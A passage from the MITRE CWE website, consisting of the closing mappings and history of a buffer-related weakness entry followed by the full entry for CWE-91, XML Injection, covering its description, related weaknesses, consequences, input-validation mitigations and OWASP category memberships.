Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPWrite-what-where condition
CERT C Secure CodingARR30-CImpreciseDo not form or use out-of-bounds pointers or array subscripts
CERT C Secure CodingARR38-CImpreciseGuarantee that library functions do not form invalid pointers
CERT C Secure CodingSTR31-CImpreciseGuarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure CodingSTR32-CImpreciseDo not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault PatternsSFP8Faulty Buffer Access
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2009-01-12CWE Content TeamMITRE
updated Common_Consequences
2009-05-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Common_Consequences, Demonstrative_Examples, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated References
2022-10-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-91: XML Injection (aka Blind XPath Injection)

Weakness ID: 91
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
+ Extended Description
Within XML, special elements could include reserved words or characters such as "<", ">", """, and "&", which could then be used to add new data or modify XML syntax.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.643Improper Neutralization of Data within XPath Expressions ('XPath Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.652Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands; Read Application Data; Modify Application Data

+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.713OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

Research Gap

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

Maintenance

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERXML injection (aka Blind Xpath injection)
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
WASC23XML Injection
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-882] Amit Klein. "Blind XPath Injection". 2004-05-19. <https://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "XML Injection", Page 1069. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Maintenance_Notes, Other_Notes, Theoretical_Notes
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
Page Last Updated: February 29, 2024